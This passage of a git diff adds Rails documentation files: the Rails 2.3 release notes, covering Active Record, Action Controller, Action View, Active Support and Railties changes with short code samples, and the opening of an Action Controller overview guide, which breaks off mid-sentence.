+After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your +routes.rb+ file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view paths now, and Action Mailer as well as Action View will use views from engines and other plugins.
+
+h3. Documentation
+
+The "Ruby on Rails guides":http://guides.rubyonrails.org/ project has published several additional guides for Rails 2.3. In addition, a "separate site":http://guides.rails.info/ maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the "Rails wiki":http://newwiki.rubyonrails.org/ and early planning for a Rails Book.
+
+* More Information: "Rails Documentation Projects":http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects.
+
+h3. Ruby 1.9.1 Support
+
+Rails 2.3 should pass all of its own tests whether you are running on Ruby 1.8 or the now-released Ruby 1.9.1. You should be aware, though, that moving to 1.9.1 entails checking all of the data adapters, plugins, and other code that you depend on for Ruby 1.9.1 compatibility, as well as Rails core.
+
+h3. Active Record
+
+Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic and default scopes, and batch processing.
+
+h4. Nested Attributes
+
+Active Record can now update the attributes on nested models directly, provided you tell it to do so:
+
+<ruby>
+class Book < ActiveRecord::Base
+ has_one :author
+ has_many :pages
+
+ accepts_nested_attributes_for :author, :pages
+end
+</ruby>
+
+Turning on nested attributes enables a number of things: automatic (and atomic) saving of a record together with its associated children, child-aware validations, and support for nested forms (discussed later).
+
+You can also specify requirements for any new records that are added via nested attributes using the +:reject_if+ option:
+
+<ruby>
+accepts_nested_attributes_for :author,
+ :reject_if => proc { |attributes| attributes['name'].blank? }
+</ruby>
+
+* Lead Contributor: "Eloy Duran":http://www.superalloy.nl/blog/
+* More Information: "Nested Model Forms":http://weblog.rubyonrails.org/2009/1/26/nested-model-forms
+
+h4. Nested Transactions
+
+Active Record now supports nested transactions, a much-requested feature. Now you can write code like this:
+
+<ruby>
+User.transaction do
+ User.create(:username => 'Admin')
+ User.transaction(:requires_new => true) do
+ User.create(:username => 'Regular')
+ raise ActiveRecord::Rollback
+ end
+ end
+
+ User.find(:all) # => Returns only Admin
+</ruby>
+
+Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the +:requires_new+ option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are "using savepoints":http://rails.lighthouseapp.com/projects/8994/tickets/383, so they're supported even on databases that don't have true nested transactions. There is also a bit of magic going on to make these transactions play well with transactional fixtures during testing.
+
+* Lead Contributors: "Jonathan Viney":http://www.workingwithrails.com/person/4985-jonathan-viney and "Hongli Lai":http://izumi.plan99.net/blog/
+
+h4. Dynamic Scopes
+
+You know about dynamic finders in Rails (which allow you to concoct methods like +find_by_color_and_flavor+ on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like +currently_active+). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly _and_ method chaining. For example:
+
+<ruby>
+Order.scoped_by_customer_id(12)
+Order.scoped_by_customer_id(12).find(:all,
+ :conditions => "status = 'open'")
+Order.scoped_by_customer_id(12).scoped_by_status("open")
+</ruby>
+
+There's nothing to define to use dynamic scopes: they just work.
+
+* Lead Contributor: "Yaroslav Markin":http://evilmartians.com/
+* More Information: "What's New in Edge Rails: Dynamic Scope Methods":http://ryandaigle.com/articles/2008/12/29/what-s-new-in-edge-rails-dynamic-scope-methods.
+
+h4. Default Scopes
+
+Rails 2.3 will introduce the notion of _default scopes_ similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write +default_scope :order => 'name ASC'+ and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course).
+
+* Lead Contributor: Paweł Kondzior
+* More Information: "What's New in Edge Rails: Default Scoping":http://ryandaigle.com/articles/2008/11/18/what-s-new-in-edge-rails-default-scoping
+
+h4. Batch Processing
+
+You can now process large numbers of records from an ActiveRecord model with less pressure on memory by using +find_in_batches+:
+
+<ruby>
+Customer.find_in_batches(:conditions => {:active => true}) do |customer_group|
+ customer_group.each { |customer| customer.update_account_balance! }
+end
+</ruby>
+
+You can pass most of the +find+ options into +find_in_batches+. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the +:limit+ option. Instead, use the +:batch_size+ option, which defaults to 1000, to set the number of records that will be returned in each batch.
+
+The new +find_each+ method provides a wrapper around +find_in_batches+ that returns individual records, with the find itself being done in batches (of 1000 by default):
+
+<ruby>
+Customer.find_each do |customer|
+ customer.update_account_balance!
+end
+</ruby>
+
+Note that you should only use this method for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop.
+
+* More Information (at that point the convenience method was called just +each+):
+** "Rails 2.3: Batch Finding":http://afreshcup.com/2009/02/23/rails-23-batch-finding/
+** "What's New in Edge Rails: Batched Find":http://ryandaigle.com/articles/2009/2/23/what-s-new-in-edge-rails-batched-find
+
+h4. Multiple Conditions for Callbacks
+
+When using Active Record callbacks, you can now combine +:if+ and +:unless+ options on the same callback, and supply multiple conditions as an array:
+
+<ruby>
+before_save :update_credit_rating, :if => :active,
+ :unless => [:admin, :cash_only]
+</ruby>
+* Lead Contributor: L. Caviola
+
+h4. Find with having
+
+Rails now has a +:having+ option on find (as well as on +has_many+ and +has_and_belongs_to_many+ associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results:
+
+<ruby>
+developers = Developer.find(:all, :group => "salary",
+ :having => "sum(salary) > 10000", :select => "salary")
+</ruby>
+
+* Lead Contributor: "Emilio Tagua":http://github.com/miloops
+
+h4. Reconnecting MySQL Connections
+
+MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set +reconnect = true+ for your MySQL connections in +database.yml+ to get this behavior from a Rails application. The default is +false+, so the behavior of existing applications doesn't change.
+
+* Lead Contributor: "Dov Murik":http://twitter.com/dubek
+* More information:
+** "Controlling Automatic Reconnection Behavior":http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html
+** "MySQL auto-reconnect revisited":http://groups.google.com/group/rubyonrails-core/browse_thread/thread/49d2a7e9c96cb9f4
+
+h4. Other Active Record Changes
+
+* An extra +AS+ was removed from the generated SQL for +has_and_belongs_to_many+ preloading, making it work better for some databases.
+* +ActiveRecord::Base#new_record?+ now returns +false+ rather than +nil+ when confronted with an existing record.
+* A bug in quoting table names in some +has_many :through+ associations was fixed.
+* You can now specify a particular timestamp for +updated_at+ timestamps: +cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)+
+* Better error messages on failed +find_by_attribute!+ calls.
+* Active Record's +to_xml+ support gets just a little bit more flexible with the addition of a +:camelize+ option.
+* A bug in canceling callbacks from +before_update+ or +before_create+ was fixed.
+* Rake tasks for testing databases via JDBC have been added.
+* +validates_length_of+ will use a custom error message with the +:in+ or +:within+ options (if one is supplied).
+* Counts on scoped selects now work properly, so you can do things like +Account.scoped(:select => "DISTINCT credit_limit").count+.
+* +ActiveRecord::Base#invalid?+ now works as the opposite of +ActiveRecord::Base#valid?+.
+
+h3. Action Controller
+
+Action Controller rolls out some significant changes to rendering, as well as improvements in routing and other areas, in this release.
+
+h4. Unified Rendering
+
++ActionController::Base#render+ is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render:
+
+<ruby>
+render :file => '/tmp/random_file.erb'
+render :template => 'other_controller/action'
+render :action => 'show'
+</ruby>
+
+Now in Rails 2.3, you can just supply what you want to render:
+
+<ruby>
+render '/tmp/random_file.erb'
+render 'other_controller/action'
+render 'show'
+render :show
+</ruby>
+Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (+:inline+, +:text+, +:update+, +:nothing+, +:json+, +:xml+, +:js+) still require an explicit option.
+
+h4. Application Controller Renamed
+
+If you're one of the people who has always been bothered by the special-case naming of +application.rb+, rejoice! It's been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, +rake rails:update:application_controller+ to do this automatically for you - and it will be run as part of the normal +rake rails:update+ process.
+
+* More Information:
+** "The Death of Application.rb":http://afreshcup.com/2008/11/17/rails-2x-the-death-of-applicationrb/
+** "What's New in Edge Rails: Application.rb Duality is no More":http://ryandaigle.com/articles/2008/11/19/what-s-new-in-edge-rails-application-rb-duality-is-no-more
+
+h4. HTTP Digest Authentication Support
+
+Rails now has built-in support for HTTP digest authentication. To use it, you call +authenticate_or_request_with_http_digest+ with a block that returns the user’s password (which is then hashed and compared against the transmitted credentials):
+
+<ruby>
+class PostsController < ApplicationController
+ Users = {"dhh" => "secret"}
+ before_filter :authenticate
+
+ def secret
+ render :text => "Password Required!"
+ end
+
+ private
+ def authenticate
+ realm = "Application"
+ authenticate_or_request_with_http_digest(realm) do |name|
+ Users[name]
+ end
+ end
+end
+</ruby>
+
+* Lead Contributor: "Gregg Kellogg":http://www.kellogg-assoc.com/
+* More Information: "What's New in Edge Rails: HTTP Digest Authentication":http://ryandaigle.com/articles/2009/1/30/what-s-new-in-edge-rails-http-digest-authentication
+
+h4. More Efficient Routing
+
+There are a couple of significant routing changes in Rails 2.3. The +formatted_+ route helpers are gone, in favor just passing in +:format+ as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the +formatted_+ helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just +routes.rb+. You can use +RouteSet#add_configuration_file+ to bring in more routes at any time - without clearing the currently-loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches.
+
+* Lead Contributors: "Aaron Batalion":http://blog.hungrymachine.com/
+
+h4. Rack-based Lazy-loaded Sessions
+
+A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old CGI session handler got removed). It's still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In addition, sessions are now lazy-loaded (in line with the loading improvements to the rest of the framework). This means that you no longer need to explicitly disable sessions if you don't want them; just don't refer to them and they won't load.
+
+h4. MIME Type Handling Changes
+
+There are a couple of changes to the code for handling MIME types in Rails. First, +MIME::Type+ now implements the +=~+ operator, making things much cleaner when you need to check for the presence of a type that has synonyms:
+
+<ruby>
+if content_type && Mime::JS =~ content_type
+ # do something cool
+end
+
+Mime::JS =~ "text/javascript" => true
+Mime::JS =~ "application/javascript" => true
+</ruby>
+
+The other change is that the framework now uses the +Mime::JS+ when checking for javascript in various spots, making it handle those alternatives cleanly.
+
+* Lead Contributor: "Seth Fitzsimmons":http://www.workingwithrails.com/person/5510-seth-fitzsimmons
+
+h4. Optimization of +respond_to+
+
+In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the +respond_to+ method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to +method_missing+ and some profiling and tweaking, we're seeing an 8% improvement in the number of requests per second served with a simple +respond_to+ that switches between three formats. The best part? No change at all required to the code of your application to take advantage of this speedup.
+
+h4. Improved Caching Performance
+
+Rails now keeps a per-request local cache of read from the remote cache stores, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to +MemCacheStore+, it is available to any remote store than implements the required methods.
+
+* Lead Contributor: "Nahum Wild":http://www.motionstandingstill.com/
+
+h4. Localized Views
+
+Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a +Posts+ controller with a +show+ action. By default, this will render +app/views/posts/show.html.erb+. But if you set +I18n.locale = :da+, it will render +app/views/posts/show.da.html.erb+. If the localized template isn't present, the undecorated version will be used. Rails also includes +I18n#available_locales+ and +I18n::SimpleBackend#available_locales+, which return an array of the translations that are available in the current Rails project.
+
+In addition, you can use the same scheme to localize the rescue files in the +public+ directory: +public/500.da.html+ or +public/404.en.html+ work, for example.
+
+h4. Partial Scoping for Translations
+
+A change to the translation API makes things easier and less repetitive to write key translations within partials. If you call +translate(".foo")+ from the +people/index.html.erb+ template, you'll actually be calling +I18n.translate("people.index.foo")+ If you don't prepend the key with a period, then the API doesn't scope, just as before.
+
+h4. Other Action Controller Changes
+
+* ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there's no body to the response or when sending files with +send_file+.
+* The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set +ActionController::Base.ip_spoofing_check = false+ to disable the check entirely.
+* +ActionController::Dispatcher+ now implements its own middleware stack, which you can see by running +rake middleware+.
+* Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores.
+* You can now use symbols for the +:type+ option of +send_file+ and +send_data+, like this: +send_file("fabulous.png", :type => :png)+.
+* The +:only+ and +:except+ options for +map.resources+ are no longer inherited by nested resources.
+* The bundled memcached client has been updated to version 1.6.4.99.
+* The +expires_in+, +stale?+, and +fresh_when+ methods now accept a +:public+ option to make them work well with proxy caching.
+* The +:requirements+ option now works properly with additional RESTful member routes.
+* Shallow routes now properly respect namespaces.
+* +polymorphic_url+ does a better job of handling objects with irregular plural names.
+
+h3. Action View
+
+Action View in Rails 2.3 picks up nested model forms, improvements to +render+, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things.
+
+h4. Nested Object Forms
+
+Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using +form_for+ and +field_for+. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model:
+
+<ruby>
+class Customer < ActiveRecord::Base
+ has_many :orders
+
+ accepts_nested_attributes_for :orders, :allow_destroy => true
+end
+</ruby>
+
+You can write this view in Rails 2.3:
+
+<erb>
+<% form_for @customer do |customer_form| %>
+ <div>
+ <%= customer_form.label :name, 'Customer Name:' %>
+ <%= customer_form.text_field :name %>
+ </div>
+
+ <!-- Here we call fields_for on the customer_form builder instance.
+ The block is called for each member of the orders collection. -->
+ <% customer_form.fields_for :orders do |order_form| %>
+ <p>
+ <div>
+ <%= order_form.label :number, 'Order Number:' %>
+ <%= order_form.text_field :number %>
+ </div>
+
+ <!-- The allow_destroy option in the model enables deletion of
+ child records. -->
+ <% unless order_form.object.new_record? %>
+ <div>
+ <%= order_form.label :_delete, 'Remove:' %>
+ <%= order_form.check_box :_delete %>
+ </div>
+ <% end %>
+ </p>
+ <% end %>
+
+ <%= customer_form.submit %>
+<% end %>
+</erb>
+
+* Lead Contributor: "Eloy Duran":http://www.superalloy.nl/blog/
+* More Information:
+** "Nested Model Forms":http://weblog.rubyonrails.org/2009/1/26/nested-model-forms
+** "complex-form-examples":http://github.com/alloy/complex-form-examples/tree/nested_attributes
+** "What's New in Edge Rails: Nested Object Forms":http://ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes
+
+h4. Smart Rendering of Partials
+
+The render method has been getting smarter over the years, and it's even smarter now. If you have an object or a collection and an appropriate partial, and the naming matches up, you can now just render the object and things will work. For example, in Rails 2.3, these render calls will work in your view (assuming sensible naming):
+
+<ruby>
+# Equivalent of render :partial => 'articles/_article',
+# :object => @article
+render @article
+
+# Equivalent of render :partial => 'articles/_article',
+# :collection => @articles
+render @articles
+</ruby>
+
+* More Information: "What's New in Edge Rails: render Stops Being High-Maintenance":http://ryandaigle.com/articles/2008/11/20/what-s-new-in-edge-rails-render-stops-being-high-maintenance
+
+h4. Prompts for Date Select Helpers
+
+In Rails 2.3, you can supply custom prompts for the various date select helpers (+date_select+, +time_select+, and +datetime_select+), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set +:prompt+ to +true+ to use the custom generic prompt:
+
+<ruby>
+select_datetime(DateTime.now, :prompt => true)
+
+select_datetime(DateTime.now, :prompt => "Choose date and time")
+
+select_datetime(DateTime.now, :prompt =>
+ {:day => 'Choose day', :month => 'Choose month',
+ :year => 'Choose year', :hour => 'Choose hour',
+ :minute => 'Choose minute'})
+</ruby>
+
+* Lead Contributor: "Sam Oliver":http://samoliver.com/
+
+h4. AssetTag Timestamp Caching
+
+You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster." This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the +cache_asset_timestamps+ configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets - but it also means that you can't modify any of the assets while the server is running and expect the changes to get picked up by clients.
+
+h4. Asset Hosts as Objects
+
+Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to to implement any complex logic you need in your asset hosting.
+
+* More Information: "asset-hosting-with-minimum-ssl":http://github.com/dhh/asset-hosting-with-minimum-ssl/tree/master
+
+h4. grouped_options_for_select Helper Method
+
+Action View already had a bunch of helpers to aid in generating select controls, but now there's one more: +grouped_options_for_select+. This one accepts an array or hash of strings, and converts them into a string of +option+ tags wrapped with +optgroup+ tags. For example:
+
+<ruby>
+grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]],
+ "Cowboy Hat", "Choose a product...")
+</ruby>
+
+returns
+
+<ruby>
+<option value="">Choose a product...</option>
+<optgroup label="Hats">
+ <option value="Baseball Cap">Baseball Cap</option>
+ <option selected="selected" value="Cowboy Hat">Cowboy Hat</option>
+</optgroup>
+</ruby>
+
+h4. Disabled Option Tags for Form Select Helpers
+
+The form select helpers (such as +select+ and +options_for_select+) now support a +:disabled+ option, which can take a single value or an array of values to be disabled in the resulting tags:
+
+<ruby>
+select(:post, :category, Post::CATEGORIES, :disabled => ‘private‘)
+</ruby>
+
+returns
+
+<ruby>
+<select name=“post[category]“>
+<option>story</option>
+<option>joke</option>
+<option>poem</option>
+<option disabled=“disabled“>private</option>
+</select>
+</ruby>
+
+You can also use an anonymous function to determine at runtime which options from collections will be selected and/or disabled:
+
+<ruby>
+options_from_collection_for_select(@product.sizes, :name, :id, :disabled => lambda{|size| size.out_of_stock?})
+</ruby>
+
+* Lead Contributor: "Tekin Suleyman":http://tekin.co.uk/
+* More Information: "New in rails 2.3 - disabled option tags and lambdas for selecting and disabling options from collections":http://tekin.co.uk/2009/03/new-in-rails-23-disabled-option-tags-and-lambdas-for-selecting-and-disabling-options-from-collections/
+
+h4. A Note About Template Loading
+
+Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don't check for a new template file when they're rendered - but they also mean that you can't replace a template "on the fly" without restarting the server.
+
+In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your +production.rb+ file:
+
+<ruby>
+config.action_view.cache_template_loading = true
+</ruby>
+
+This line will be generated for you by default in a new Rails 2.3 application. If you've upgraded from an older version of Rails, Rails will default to caching templates in production and test but not in development.
+
+h4. Other Action View Changes
+
+* Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by +ActiveSupport::SecureRandom+ rather than mucking around with session IDs.
+* +auto_link+ now properly applies options (such as +:target+ and +:class+) to generated e-mail links.
+* The +autolink+ helper has been refactored to make it a bit less messy and more intuitive.
+* +current_page?+ now works properly even when there are multiple query parameters in the URL.
+
+h3. Active Support
+
+Active Support has a few interesting changes, including the introduction of +Object#try+.
+
+h4. Object#try
+
+A lot of folks have adopted the notion of using try() to attempt operations on objects. It's especially helpful in views where you can avoid nil-checking by writing code like +&lt;%= @person.try(:name) %&gt;+. Well, now it's baked right into Rails. As implemented in Rails, it raises +NoMethodError+ on private methods and always returns +nil+ if the object is nil.
+
+* More Information: "try()":http://ozmm.org/posts/try.html.
+
+h4. Object#tap Backport
+
++Object#tap+ is an addition to "Ruby 1.9":http://www.ruby-doc.org/core-1.9/classes/Object.html#M000309 and 1.8.7 that is similar to the +returning+ method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well.
+
+h4. Swappable Parsers for XMLmini
+
+The support for XML parsing in ActiveSupport has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed:
+
+<ruby>
+XmlMini.backend = 'LibXML'
+</ruby>
+
+* Lead Contributor: "Bart ten Brinke":http://www.movesonrails.com/
+* Lead Contributor: "Aaron Patterson":http://tenderlovemaking.com/
+
+h4. Fractional seconds for TimeWithZone
+
+The +Time+ and +TimeWithZone+ classes include an +xmlschema+ method to return the time in an XML-friendly string. As of Rails 2.3, +TimeWithZone+ supports the same argument for specifying the number of digits in the fractional second part of the returned string that +Time+ does:
+
+<ruby>
+>> Time.zone.now.xmlschema(6)
+=> "2009-01-16T13:00:06.13653Z"
+</ruby>
+
+* Lead Contributor: "Nicholas Dainty":http://www.workingwithrails.com/person/13536-nicholas-dainty
+
+h4. JSON Key Quoting
+
+If you look up the spec on the "json.org" site, you'll discover that all keys in a JSON structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we do the right thing here, even with numeric keys.
+
+h4. Other Active Support Changes
+
+* You can use +Enumerable#none?+ to check that none of the elements match the supplied block.
+* If you're using Active Support "delegates":http://afreshcup.com/2008/10/19/coming-in-rails-22-delegate-prefixes/, the new +:allow_nil+ option lets you return +nil+ instead of raising an exception when the target object is nil.
+* +ActiveSupport::OrderedHash+: now implements +each_key+ and +each_value+.
+* +ActiveSupport::MessageEncryptor+ provides a simple way to encrypt information for storage in an untrusted location (like cookies).
+* Active Support's +from_xml+ no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around.
+* If you memoize a private method, the result will now be private.
+* +String#parameterize+ accepts an optional separator: +"Quick Brown Fox".parameterize('_') => "quick_brown_fox"+.
+* +number_to_phone+ accepts 7-digit phone numbers now.
+* +ActiveSupport::Json.decode+ now handles +\u0000+ style escape sequences.
+
+h3. Railties
+
+In addition to the Rack changes covered above, Railties (the core code of Rails itself) sports a number of significant changes, including Rails Metal, application templates, and quiet backtraces.
+
+h4. Rails Metal
+
+Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins.
+
+* More Information:
+** "Introducing Rails Metal":http://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal
+** "Rails Metal: a micro-framework with the power of Rails":http://soylentfoo.jnewland.com/articles/2008/12/16/rails-metal-a-micro-framework-with-the-power-of-rails-m
+** "Metal: Super-fast Endpoints within your Rails Apps":http://www.railsinside.com/deployment/180-metal-super-fast-endpoints-within-your-rails-apps.html
+** "What's New in Edge Rails: Rails Metal":http://ryandaigle.com/articles/2008/12/18/what-s-new-in-edge-rails-rails-metal
+
+h4. Application Templates
+
+Rails 2.3 incorporates Jeremy McAnally's "rg":http://github.com/jeremymcanally/rg/tree/master application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the +rails+ command. There's also a rake task to apply a template to an existing application:
+
+<ruby>
+rake rails:template LOCATION=~/template.rb
+</ruby>
+
+This will layer the changes from the template on top of whatever code the project already contains.
+
+* Lead Contributor: "Jeremy McAnally":http://www.jeremymcanally.com/
+* More Info:"Rails templates":http://m.onkey.org/2008/12/4/rails-templates
+
+h4. Quieter Backtraces
+
+Building on Thoughtbot's "Quiet Backtrace":http://www.thoughtbot.com/projects/quietbacktrace plugin, which allows you to selectively remove lines from +Test::Unit+ backtraces, Rails 2.3 implements +ActiveSupport::BacktraceCleaner+ and +Rails::BacktraceCleaner+ in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a +config/backtrace_silencers.rb+ file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace.
+
+h4. Faster Boot Time in Development Mode with Lazy Loading/Autoload
+
+Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer and Action View - are now using +autoload+ to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance.
+
+You can also specify (by using the new +preload_frameworks+ option) whether the core libraries should be autoloaded at startup. This defaults to +false+ so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together.
+
+h4. rake gem Task Rewrite
+
+The internals of the various <code>rake gem</code> tasks have been substantially revised, to make the system work better for a variety of cases. The gem system now knows the difference between development and runtime dependencies, has a more robust unpacking system, gives better information when querying for the status of gems, and is less prone to "chicken and egg" dependency issues when you're bringing things up from scratch. There are also fixes for using gem commands under JRuby and for dependencies that try to bring in external copies of gems that are already vendored.
+
+* Lead Contributor: "David Dollar":http://www.workingwithrails.com/person/12240-david-dollar
+
+h4. Other Railties Changes
+
+* The instructions for updating a CI server to build Rails have been updated and expanded.
+* Internal Rails testing has been switched from +Test::Unit::TestCase+ to +ActiveSupport::TestCase+, and the Rails core requires Mocha to test.
+* The default +environment.rb+ file has been decluttered.
+* The dbconsole script now lets you use an all-numeric password without crashing.
+* +Rails.root+ now returns a +Pathname+ object, which means you can use it directly with the +join+ method to "clean up existing code":http://afreshcup.com/2008/12/05/a-little-rails_root-tidiness/ that uses +File.join+.
+* Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding +--with-dispatches+ when you run the +rails+ command, or add them later with +rake rails:generate_dispatchers+).
+* Rails Guides have been converted from AsciiDoc to Textile markup.
+* Scaffolded views and controllers have been cleaned up a bit.
+* +script/server+ now accepts a <tt>--path</tt> argument to mount a Rails application from a specific path.
+* If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the "chicken-and-egg" problems where rake gems:install couldn't run because gems were missing.
+* Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files.
+
+h3. Deprecated
+
+A few pieces of older code are deprecated in this release:
+
+* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the "irs_process_scripts":http://github.com/rails/irs_process_scripts/tree plugin.
+* +render_component+ goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the "render_component plugin":http://github.com/rails/render_component/tree/master.
+* Support for Rails components has been removed.
+* If you were one of the people who got used to running +script/performance/request+ to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There’s a new request_profiler plugin that you can install to get the exact same functionality back.
+* +ActionController::Base#session_enabled?+ is deprecated because sessions are lazy-loaded now.
+* The +:digest+ and +:secret+ options to +protect_from_forgery+ are deprecated and have no effect.
+* Some integration test helpers have been removed. +response.headers["Status"]+ and +headers["Status"]+ will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the +status+ and +status_message+ helpers. +response.headers["cookie"]+ and +headers["cookie"]+ will no longer return any CGI cookies. You can inspect +headers["Set-Cookie"]+ to see the raw cookie header or use the +cookies+ helper to get a hash of the cookies sent to the client.
+* +formatted_polymorphic_url+ is deprecated. Use +polymorphic_url+ with +:format+ instead.
+* The +:http_only+ option in +ActionController::Response#set_cookie+ has been renamed to +:httponly+.
+* The +:connector+ and +:skip_last_comma+ options of +to_sentence+ have been replaced by +:words_connnector+, +:two_words_connector+, and +:last_word_connector+ options.
+* Posting a multipart form with an empty +file_field+ control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one.
+
+h3. Credits
+
+Release notes compiled by "Mike Gunderloy":http://afreshcup.com. This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3.
diff --git a/railties/guides/source/action_controller_overview.textile b/railties/guides/source/action_controller_overview.textile
new file mode 100644
index 0000000000..054ca99985
--- /dev/null
+++ b/railties/guides/source/action_controller_overview.textile
@@ -0,0 +1,776 @@
+h2. Action Controller Overview
+
+In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to:
+
+* Follow the flow of a request through a controller
+* Understand why and how to store data in the session or cookies
+* Work with filters to execute code during request processing
+* Use Action Controller's built-in HTTP authentication
+* Stream data directly to the user's browser
+* Filter sensitive parameters so they do not appear in the application's log
+* Deal with exceptions that may be raised during request processing
+
+endprologue.
+
+h3. What Does a Controller Do?
+
+Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straightforward as possible.
+
+For most conventional RESTful applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.
+
+A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model.
+
+NOTE: For more details on the routing process, see "Rails Routing from the Outside In":routing.html.
+
+h3. Methods and Actions
+
+A controller is a Ruby class which inherits from +ApplicationController+ and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the method with the same name as the action.
+
+<ruby>
+class ClientsController < ApplicationController
+ def new
+ end
+end
+</ruby>
+
+As an example, if a user goes to +/clients/new+ in your application to add a new client, Rails will create an instance of +ClientsController+ and run the +new+ method. Note that the empty method from the example above could work just fine because Rails will by default render the +new.html.erb+ view unless the action says otherwise. The +new+ method could make available to the view a +@client+ instance variable by creating a new +Client+:
